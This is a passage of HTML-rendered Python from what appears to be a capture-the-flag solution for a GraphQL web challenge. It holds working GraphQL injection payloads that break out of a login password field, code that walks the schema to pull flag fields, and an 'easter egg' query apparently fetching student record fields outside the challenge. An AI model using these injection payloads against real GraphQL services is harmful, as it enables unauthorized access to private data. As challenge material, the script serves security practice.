<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">bfs</span><span style="color: #111111">(</span><span style="color: #0C969B">fields</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    path </span><span style="color: #994CC3">=</span><span style="color: #403F53"> {</span><span style="color: #111111">&#39;</span><span style="color: #C96765">Secret</span><span style="color: #111111">&#39;</span><span style="color: #403F53">: </span><span style="color: #111111">&#39;</span><span style="color: #C96765">&lt;SLOT&gt;</span><span style="color: #111111">&#39;</span><span style="color: #403F53">}</span></span>
<span><span style="color: #403F53">    queue </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">[</span><span style="color: #111111">&#39;</span><span style="color: #C96765">Secret</span><span style="color: #111111">&#39;</span><span style="color: #111111">]</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">while</span><span style="color: #403F53"> </span><span style="color: #4876D6">len</span><span style="color: #403F53">(</span><span style="color: #4876D6">queue</span><span style="color: #403F53">) </span><span style="color: #994CC3">&gt;</span><span style="color: #403F53"> </span><span style="color: #AA0982">0</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">        u </span><span style="color: #994CC3">=</span><span style="color: #403F53"> queue.</span><span style="color: #0C969B">pop</span><span style="color: #403F53">(</span><span style="color: #AA0982">0</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">if</span><span style="color: #403F53"> u </span><span style="color: #994CC3">not</span><span style="color: #403F53"> </span><span style="color: #994CC3">in</span><span style="color: #403F53"> fields:</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">continue</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">for</span><span style="color: #403F53"> f, v </span><span style="color: #994CC3">in</span><span style="color: #403F53"> fields[u].</span><span style="color: #0C969B">items</span><span style="color: #403F53">():</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">if</span><span style="color: #403F53"> v </span><span style="color: #994CC3">not</span><span style="color: #403F53"> </span><span style="color: #994CC3">in</span><span style="color: #403F53"> path:</span></span>
<span><span style="color: #403F53">                path[v] </span><span style="color: #994CC3">=</span><span style="color: #403F53"> path[u].</span><span style="color: #0C969B">replace</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">&lt;SLOT&gt;</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> </span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;</span><span style="color: #4876D6">{f}</span><span style="color: #AA0982">{{</span><span style="color: #C96765">&lt;SLOT&gt;</span><span style="color: #AA0982">}}</span><span style="color: #C96765">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">                queue.</span><span style="color: #0C969B">append</span><span style="color: #403F53">(</span><span style="color: #4876D6">v</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53"> path</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">flag_query</span><span style="color: #111111">(</span><span style="color: #0C969B">fields</span><span style="color: #403F53">, </span><span style="color: #0C969B">path</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">for</span><span style="color: #403F53"> u </span><span style="color: #994CC3">in</span><span style="color: #403F53"> fields:</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">for</span><span style="color: #403F53"> f </span><span style="color: #994CC3">in</span><span style="color: #403F53"> fields[u]:</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">if</span><span style="color: #403F53"> f </span><span style="color: #994CC3">==</span><span style="color: #403F53"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">flag2</span><span style="color: #111111">&#39;</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">                </span><span style="color: #994CC3">return</span><span style="color: #403F53"> path[u].</span><span style="color: #0C969B">replace</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">&lt;SLOT&gt;</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> f</span><span style="color: #403F53">)</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">get_short</span><span style="color: #111111">(</span><span style="color: #0C969B">fields</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #111111">&quot;&quot;&quot;</span><span style="color: #C96765">shortest payload</span><span style="color: #111111">&quot;&quot;&quot;</span></span>
<span><span style="color: #403F53">    path </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">bfs</span><span style="color: #403F53">(</span><span style="color: #4876D6">fields</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    query </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">flag_query</span><span style="color: #403F53">(</span><span style="color: #4876D6">fields</span><span style="color: #111111">,</span><span style="color: #4876D6"> path</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    res </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">send</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;secret </span><span style="color: #AA0982">{{</span><span style="color: #C96765"> username: </span><span style="color: #4876D6">{query}</span><span style="color: #C96765"> ok: __typename </span><span style="color: #AA0982">}}</span><span style="color: #C96765">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #4876D6">res</span><span style="color: #403F53">)</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">get_long</span><span style="color: #111111">(</span><span style="color: #0C969B">fields</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #111111">&quot;&quot;&quot;</span><span style="color: #C96765">long payload</span><span style="color: #111111">&quot;&quot;&quot;</span></span>
<span><span style="color: #403F53">    path </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">bfs</span><span style="color: #403F53">(</span><span style="color: #4876D6">fields</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    query </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">flag_query</span><span style="color: #403F53">(</span><span style="color: #4876D6">fields</span><span style="color: #111111">,</span><span style="color: #4876D6"> path</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    res </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">send</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;secret </span><span style="color: #AA0982">{{</span><span style="color: #C96765"> ok: </span><span style="color: #4876D6">{query}</span><span style="color: #C96765"> isAdmin: </span><span style="color: #4876D6">{query}</span><span style="color: #C96765"> username: </span><span style="color: #4876D6">{query}</span><span style="color: #C96765"> </span><span style="color: #AA0982">}}</span><span style="color: #C96765">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #4876D6">res</span><span style="color: #403F53">)</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">get1</span><span style="color: #111111">(</span><span style="color: #0C969B">fields</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #111111">&quot;&quot;&quot;</span><span style="color: #C96765">use __typename</span><span style="color: #111111">&quot;&quot;&quot;</span></span>
<span><span style="color: #403F53">    path </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">bfs</span><span style="color: #403F53">(</span><span style="color: #4876D6">fields</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    query </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">flag_query</span><span style="color: #403F53">(</span><span style="color: #4876D6">fields</span><span style="color: #111111">,</span><span style="color: #4876D6"> path</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    res </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">send</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;secret </span><span style="color: #AA0982">{{</span><span style="color: #C96765"> ok: __typename isAdmin: __typename username: </span><span style="color: #4876D6">{query}</span><span style="color: #C96765"> </span><span style="color: #AA0982">}}</span><span style="color: #C96765">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #4876D6">res</span><span style="color: #403F53">)</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">get2</span><span style="color: #111111">(</span><span style="color: #0C969B">fields</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #111111">&quot;&quot;&quot;</span><span style="color: #C96765">omit isAdmin</span><span style="color: #111111">&quot;&quot;&quot;</span></span>
<span><span style="color: #403F53">    path </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">bfs</span><span style="color: #403F53">(</span><span style="color: #4876D6">fields</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    query </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">flag_query</span><span style="color: #403F53">(</span><span style="color: #4876D6">fields</span><span style="color: #111111">,</span><span style="color: #4876D6"> path</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    res </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">send</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;secret </span><span style="color: #AA0982">{{</span><span style="color: #C96765"> ok: </span><span style="color: #4876D6">{query}</span><span style="color: #C96765"> username: </span><span style="color: #4876D6">{query}</span><span style="color: #C96765"> </span><span style="color: #AA0982">}}</span><span style="color: #C96765">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #4876D6">res</span><span style="color: #403F53">)</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">get3</span><span style="color: #111111">(</span><span style="color: #0C969B">fields</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #111111">&quot;&quot;&quot;</span><span style="color: #C96765">use fragment</span><span style="color: #111111">&quot;&quot;&quot;</span></span>
<span></span>
<span><span style="color: #403F53">    path </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">bfs</span><span style="color: #403F53">(</span><span style="color: #4876D6">fields</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    query </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">flag_query</span><span style="color: #403F53">(</span><span style="color: #4876D6">fields</span><span style="color: #111111">,</span><span style="color: #4876D6"> path</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">assert</span><span style="color: #403F53"> query </span><span style="color: #994CC3">is</span><span style="color: #403F53"> </span><span style="color: #994CC3">not</span><span style="color: #403F53"> </span><span style="color: #BC5454">None</span></span>
<span></span>
<span><span style="color: #403F53">    query_match </span><span style="color: #994CC3">=</span><span style="color: #403F53"> re.</span><span style="color: #0C969B">match</span><span style="color: #403F53">(</span><span style="color: #994CC3">r</span><span style="color: #111111">&#39;</span><span style="color: #5CA7E4">(\w</span><span style="color: #0C969B">+</span><span style="color: #5CA7E4">)</span><span style="color: #AA0982">\{</span><span style="color: #5CA7E4">(.</span><span style="color: #0C969B">*</span><span style="color: #5CA7E4">)</span><span style="color: #AA0982">\}</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> query</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">assert</span><span style="color: #403F53"> query_match </span><span style="color: #994CC3">is</span><span style="color: #403F53"> </span><span style="color: #994CC3">not</span><span style="color: #403F53"> </span><span style="color: #BC5454">None</span></span>
<span><span style="color: #403F53">    outer </span><span style="color: #994CC3">=</span><span style="color: #403F53"> query_match.</span><span style="color: #0C969B">group</span><span style="color: #403F53">(</span><span style="color: #AA0982">1</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    inner </span><span style="color: #994CC3">=</span><span style="color: #403F53"> query_match.</span><span style="color: #0C969B">group</span><span style="color: #403F53">(</span><span style="color: #AA0982">2</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    res </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">send</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;&#39;&#39;secret </span><span style="color: #AA0982">{{</span></span>
<span><span style="color: #C96765">        ok: </span><span style="color: #4876D6">{outer}</span><span style="color: #C96765"> </span><span style="color: #AA0982">{{</span><span style="color: #C96765"> ... i </span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">        isAdmin: </span><span style="color: #4876D6">{outer}</span><span style="color: #C96765"> </span><span style="color: #AA0982">{{</span><span style="color: #C96765"> ... i </span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">        username: </span><span style="color: #4876D6">{outer}</span><span style="color: #C96765"> </span><span style="color: #AA0982">{{</span><span style="color: #C96765"> ... i </span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">      </span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">      ... l</span></span>
<span><span style="color: #C96765">    </span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">    fragment i on </span><span style="color: #4876D6">{fields</span><span style="color: #403F53">[</span><span style="color: #111111">&quot;</span><span style="color: #C96765">Secret</span><span style="color: #111111">&quot;</span><span style="color: #403F53">]</span><span style="color: #111111">[</span><span style="color: #4876D6">outer</span><span style="color: #111111">]</span><span style="color: #4876D6">}</span><span style="color: #C96765"> </span><span style="color: #AA0982">{{</span></span>
<span><span style="color: #C96765">      </span><span style="color: #4876D6">{inner}</span></span>
<span><span style="color: #C96765">    </span><span style="color: #AA0982">}}</span></span>
<span><span style="color: #C96765">    fragment l on Query </span><span style="color: #AA0982">{{</span></span>
<span><span style="color: #C96765">    &#39;&#39;&#39;</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #4876D6">res</span><span style="color: #403F53">)</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">get4</span><span style="color: #111111">(</span><span style="color: #0C969B">fields</span><span style="color: #111111">)</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    </span><span style="color: #111111">&quot;&quot;&quot;</span><span style="color: #C96765">use shortest leaf</span><span style="color: #111111">&quot;&quot;&quot;</span></span>
<span></span>
<span><span style="color: #403F53">    path </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">bfs</span><span style="color: #403F53">(</span><span style="color: #4876D6">fields</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    query </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">flag_query</span><span style="color: #403F53">(</span><span style="color: #4876D6">fields</span><span style="color: #111111">,</span><span style="color: #4876D6"> path</span><span style="color: #403F53">)</span></span>
<span></span>
<span><span style="color: #403F53">    shortest </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">&#39;</span><span style="color: #C96765">a</span><span style="color: #111111">&#39;</span><span style="color: #403F53"> </span><span style="color: #994CC3">*</span><span style="color: #403F53"> </span><span style="color: #AA0982">1000</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">for</span><span style="color: #403F53"> u, p </span><span style="color: #994CC3">in</span><span style="color: #403F53"> path.</span><span style="color: #0C969B">items</span><span style="color: #403F53">():</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">if</span><span style="color: #403F53"> u </span><span style="color: #994CC3">not</span><span style="color: #403F53"> </span><span style="color: #994CC3">in</span><span style="color: #403F53"> fields:</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">continue</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">for</span><span style="color: #403F53"> f </span><span style="color: #994CC3">in</span><span style="color: #403F53"> fields[u]:</span></span>
<span><span style="color: #403F53">            </span><span style="color: #994CC3">if</span><span style="color: #403F53"> f.</span><span style="color: #0C969B">startswith</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">not_flag</span><span style="color: #111111">&#39;</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">                q </span><span style="color: #994CC3">=</span><span style="color: #403F53"> p.</span><span style="color: #0C969B">replace</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">&lt;SLOT&gt;</span><span style="color: #111111">&#39;</span><span style="color: #111111">,</span><span style="color: #4876D6"> f</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">                </span><span style="color: #994CC3">if</span><span style="color: #403F53"> </span><span style="color: #4876D6">len</span><span style="color: #403F53">(</span><span style="color: #4876D6">q</span><span style="color: #403F53">) </span><span style="color: #994CC3">&lt;</span><span style="color: #403F53"> </span><span style="color: #4876D6">len</span><span style="color: #403F53">(</span><span style="color: #4876D6">shortest</span><span style="color: #403F53">):</span></span>
<span><span style="color: #403F53">                    shortest </span><span style="color: #994CC3">=</span><span style="color: #403F53"> q</span></span>
<span></span>
<span><span style="color: #403F53">    res </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">send</span><span style="color: #403F53">(</span><span style="color: #994CC3">f</span><span style="color: #C96765">&#39;secret </span><span style="color: #AA0982">{{</span><span style="color: #C96765"> ok: </span><span style="color: #4876D6">{shortest}</span><span style="color: #C96765"> isAdmin: </span><span style="color: #4876D6">{shortest}</span><span style="color: #C96765"> username: </span><span style="color: #4876D6">{query}</span><span style="color: #C96765"> </span><span style="color: #AA0982">}}</span><span style="color: #C96765">&#39;</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #4876D6">res</span><span style="color: #403F53">)</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">sol2</span><span style="color: #111111">()</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    fields </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">introspection1</span><span style="color: #403F53">()</span></span>
<span><span style="color: #403F53">    </span><span style="color: #989FB1"># fields = introspection2()</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #0C969B">get_short</span><span style="color: #403F53">(</span><span style="color: #4876D6">fields</span><span style="color: #403F53">)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #989FB1"># get_long(fields)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #989FB1"># get1(fields)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #989FB1"># get2(fields)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #989FB1"># get3(fields)</span></span>
<span><span style="color: #403F53">    </span><span style="color: #989FB1"># get4(fields)</span></span>
<span></span>
<span></span>
<span><span style="color: #994CC3">def</span><span style="color: #403F53"> </span><span style="color: #4876D6">easter_egg</span><span style="color: #111111">()</span><span style="color: #403F53">:</span></span>
<span><span style="color: #403F53">    query </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #111111">&#39;&#39;&#39;</span><span style="color: #C96765">secret {</span></span>
<span><span style="color: #C96765">      ok: __typename</span></span>
<span><span style="color: #C96765">      username: not_part_of_challenge {</span></span>
<span><span style="color: #C96765">        selectOnePresetData(presetKey: &quot;103765749452800&quot;, XH: &quot;2025019999&quot;, KCH: &quot;77777777&quot;) {</span></span>
<span><span style="color: #C96765">          XH KCH KSRQ XNXQ XF KCMC ZCJ</span></span>
<span><span style="color: #C96765">        }</span></span>
<span><span style="color: #C96765">      }</span></span>
<span><span style="color: #C96765">    }</span><span style="color: #111111">&#39;&#39;&#39;</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">print</span><span style="color: #403F53">(</span><span style="color: #0C969B">send</span><span style="color: #403F53">(</span><span style="color: #4876D6">query</span><span style="color: #403F53">))</span></span>
<span></span>
<span></span>
<span><span style="color: #0C969B">sol1</span><span style="color: #403F53">()</span></span>
<span></span>
<span><span style="color: #0C969B">sol2</span><span style="color: #403F53">()</span></span>
<span></span>
<span><span style="color: #0C969B">easter_egg</span><span style="color: #403F53">()</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #C792EA">from</span><span style="color: #D6DEEB"> ast </span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> literal_eval</span></span>
<span><span style="color: #C792EA">from</span><span style="color: #D6DEEB"> html </span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> unescape</span></span>
<span><span style="color: #C792EA">from</span><span style="color: #D6DEEB"> http.cookies </span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> SimpleCookie</span></span>
<span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> os</span></span>
<span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> re</span></span>
<span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> requests</span></span>
<span><span style="color: #C792EA">import</span><span style="color: #D6DEEB"> secrets</span></span>
<span></span>
<span><span style="color: #82AAFF">URL</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> os.environ.</span><span style="color: #B2CCD6">get</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">URL</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">http://localhost:5000</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #82AAFF">COOKIE</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> os.environ.</span><span style="color: #B2CCD6">get</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">COOKIE</span><span style="color: #D9F5DD">&#39;</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> </span><span style="color: #D9F5DD">&#39;&#39;</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">cookie </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #B2CCD6">SimpleCookie</span><span style="color: #D6DEEB">()</span></span>
<span><span style="color: #D6DEEB">cookie.</span><span style="color: #B2CCD6">load</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">COOKIE</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">session </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> requests.</span><span style="color: #B2CCD6">Session</span><span style="color: #D6DEEB">()</span></span>
<span><span style="color: #D6DEEB">session.cookies.</span><span style="color: #B2CCD6">update</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">{k: v.value </span><span style="color: #C792EA">for</span><span style="color: #82AAFF"> k, v </span><span style="color: #C792EA">in</span><span style="color: #82AAFF"> cookie.</span><span style="color: #B2CCD6">items</span><span style="color: #D6DEEB">()</span><span style="color: #82AAFF">}</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">register</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">username</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">password</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    res </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> session.</span><span style="color: #B2CCD6">post</span><span style="color: #D6DEEB">(</span></span>
<span><span style="color: #82AAFF">        </span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;</span><span style="color: #82AAFF">{URL}</span><span style="color: #ECC48D">/register&#39;</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">        </span><span style="color: #D7DBE0">data</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">{</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">username</span><span style="color: #D9F5DD">&#39;</span><span style="color: #82AAFF">: username, </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">password</span><span style="color: #D9F5DD">&#39;</span><span style="color: #82AAFF">: password}</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    res.</span><span style="color: #B2CCD6">raise_for_status</span><span style="color: #D6DEEB">()</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">login</span><span style="color: #D9F5DD">(</span><span style="color: #7FDBCA">username</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">password</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;</span><span style="color: #82AAFF">{username = }</span><span style="color: #ECC48D">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C5E478">print</span><span style="color: #D6DEEB">(</span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;</span><span style="color: #82AAFF">{password = }</span><span style="color: #ECC48D">&#39;</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    res </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> session.</span><span style="color: #B2CCD6">post</span><span style="color: #D6DEEB">(</span></span>
<span><span style="color: #82AAFF">        </span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;</span><span style="color: #82AAFF">{URL}</span><span style="color: #ECC48D">/login&#39;</span><span style="color: #D9F5DD">,</span></span>
<span><span style="color: #82AAFF">        </span><span style="color: #D7DBE0">data</span><span style="color: #C792EA">=</span><span style="color: #82AAFF">{</span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">username</span><span style="color: #D9F5DD">&#39;</span><span style="color: #82AAFF">: username, </span><span style="color: #D9F5DD">&#39;</span><span style="color: #ECC48D">password</span><span style="color: #D9F5DD">&#39;</span><span style="color: #82AAFF">: password}</span></span>
<span><span style="color: #82AAFF">    </span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    res.</span><span style="color: #B2CCD6">raise_for_status</span><span style="color: #D6DEEB">()</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> res.text</span></span>
<span></span>
<span></span>
<span><span style="color: #C792EA">def</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">sol1</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">    username </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> secrets.</span><span style="color: #B2CCD6">token_hex</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">16</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    password </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> secrets.</span><span style="color: #B2CCD6">token_hex</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">16</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #B2CCD6">register</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">username</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> password</span><span style="color: #D6DEEB">)</span></span>
<span></span>
<span><span style="color: #D6DEEB">    payload </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">f</span><span style="color: #ECC48D">&#39;&#39;&#39;</span><span style="color: #82AAFF">{</span><span style="color: #D6DEEB">password</span><span style="color: #82AAFF">}</span><span style="color: #ECC48D">&quot;) </span><span style="color: #F78C6C">{{</span></span>
<span><span style="color: #ECC48D">    login(username: $username, password: $password) </span><span style="color: #F78C6C">{{</span></span>
<span><span style="color: #ECC48D">      ok</span></span>
<span><span style="color: #ECC48D">      isAdmin: ok</span></span>
<span><span style="color: #ECC48D">      username</span></span>
<span><span style="color: #ECC48D">    </span><span style="color: #F78C6C">}}</span></span>
<span><span style="color: #ECC48D">    originalQuery:</span></span>
<span><span style="color: #ECC48D">    #&#39;&#39;&#39;</span></span>
<span></span>
